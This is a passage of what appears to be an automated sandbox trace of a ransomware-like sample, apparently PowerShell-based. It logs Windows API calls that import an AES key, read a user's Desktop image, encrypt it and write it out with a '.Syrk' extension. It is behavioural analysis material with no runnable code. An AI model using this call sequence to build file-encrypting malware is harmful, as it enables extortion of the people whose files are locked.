Memory=0x32ce8c) returned 0x0 [0199.899] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0199.899] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0199.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0199.900] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.900] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0199.900] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0199.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0199.900] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.900] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0199.900] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0199.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0199.900] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.901] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0199.901] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0199.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0199.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0199.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0199.901] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.901] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0199.901] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0199.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0199.902] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.902] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0199.902] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0199.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0199.902] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.902] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0199.902] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0199.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0199.902] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.903] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0199.903] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.903] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0199.903] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0199.903] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.903] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0199.903] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.903] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0199.903] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0199.903] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.903] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0199.903] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0199.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0199.904] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.904] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0199.904] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0199.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0199.904] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.904] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0199.904] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0199.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0199.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0199.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0199.905] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.905] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0199.905] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0199.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0199.905] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.906] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0199.906] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.906] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0199.906] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0199.906] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.906] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0199.906] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.906] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0199.906] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0199.906] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.906] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0199.906] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.907] EtwEventActivityIdControl () returned 0x0 [0199.907] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0199.907] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0199.907] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0199.907] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0200.073] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4ccc0) returned 1 [0200.076] CryptImportKey (in: hProv=0x5c4ccc0, pbData=0x23a7e4c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68b80) returned 1 [0200.076] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0200.077] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.078] EtwEventActivityIdControl () returned 0x0 [0200.078] EtwEventActivityIdControl () returned 0x0 [0200.078] EtwEventActivityIdControl () returned 0x0 [0200.087] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp")) returned 0x20 [0200.088] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp")) returned 0x20 [0200.089] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0200.089] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", lpFilePart=0x0) returned 0x2c [0200.090] EtwEventActivityIdControl () returned 0x0 [0200.091] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.092] EtwEventActivityIdControl () returned 0x0 [0200.092] EtwEventActivityIdControl () returned 0x0 [0200.092] EtwEventActivityIdControl () returned 0x0 [0200.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0200.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", lpFilePart=0x0) returned 0x2c [0200.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0200.100] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0200.100] GetFileType (hFile=0x44c) returned 0x1 [0200.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0200.100] GetFileType (hFile=0x44c) returned 0x1 [0200.100] EtwEventActivityIdControl () returned 0x0 [0200.101] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.101] EtwEventActivityIdControl () returned 0x0 [0200.101] EtwEventActivityIdControl () returned 0x0 [0200.101] EtwEventActivityIdControl () returned 0x0 [0200.102] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0200.102] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk", lpFilePart=0x0) returned 0x31 [0200.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0200.103] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0200.107] GetFileType (hFile=0x45c) returned 0x1 [0200.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0200.107] GetFileType (hFile=0x45c) returned 0x1 [0200.107] EtwEventActivityIdControl () returned 0x0 [0200.107] CryptGenRandom (in: hProv=0x5c4ccc0, dwLen=0x10, pbBuffer=0x23b88e8 | out: pbBuffer=0x23b88e8) returned 1 [0200.108] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0200.108] CryptDuplicateKey (in: hKey=0x5c68b80, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68c00) returned 1 [0200.108] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0200.109] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x4, pbData=0x23b9d58*=0x1, dwFlags=0x0) returned 1 [0200.109] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x1, pbData=0x23b9d24, dwFlags=0x0) returned 1 [0200.109] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.110] EtwEventActivityIdControl () returned 0x0 [0200.110] EtwEventActivityIdControl () returned 0x0 [0200.110] EtwEventActivityIdControl () returned 0x0 [0200.111] EtwEventActivityIdControl () returned 0x0 [0200.111] ReadFile (in: hFile=0x44c, lpBuffer=0x23bc9c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x23bc9c0*, lpNumberOfBytesRead=0x5a2ea0c*=0x8e57, lpOverlapped=0x0) returned 1 [0200.303] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23e8a10*, pdwDataLen=0x5a2ea00*=0x8e50, dwBufLen=0x8e50 | out: pbData=0x23e8a10*, pdwDataLen=0x5a2ea00*=0x8e50) returned 1 [0200.303] WriteFile (in: hFile=0x45c, lpBuffer=0x23b8a38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x23b8a38*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0200.306] WriteFile (in: hFile=0x45c, lpBuffer=0x23e99fc*, nNumberOfBytesToWrite=0x7e64, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x23e99fc*, lpNumberOfBytesWritten=0x5a2e9e4*=0x7e64, lpOverlapped=0x0) returned 1 [0200.307] ReadFile (in: hFile=0x44c, lpBuffer=0x23bc9c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x23bc9c0*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0200.308] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f18d4*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x23f18d4*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0200.308] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23f18f0*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x23f18f0*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0200.308] WriteFile (in: hFile=0x45c, lpBuffer=0x23b8a38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x23b8a38*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0200.308] CloseHandle (hObject=0x45c) returned 1 [0200.312] CloseHandle (hObject=0x44c) returned 1 [0200.313] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.314] EtwEventActivityIdControl () returned 0x0 [0200.314] EtwEventActivityIdControl () returned 0x0 [0200.314] EtwEventActivityIdControl () returned 0x0 [0200.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp")) returned 0x20 [0200.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0200.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", lpFilePart=0x0) returned 0x2c [0200.351] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0200.351] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0200.351] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0200.351] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0200.352] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0200.352] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0200.352] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0200.352] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0200.352] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0200.352] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0200.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0200.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0200.353] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0200.353] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0200.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0200.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0200.353] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp")) returned 0x20 [0200.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0200.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", lpFilePart=0x0) returned 0x2c [0200.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0200.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 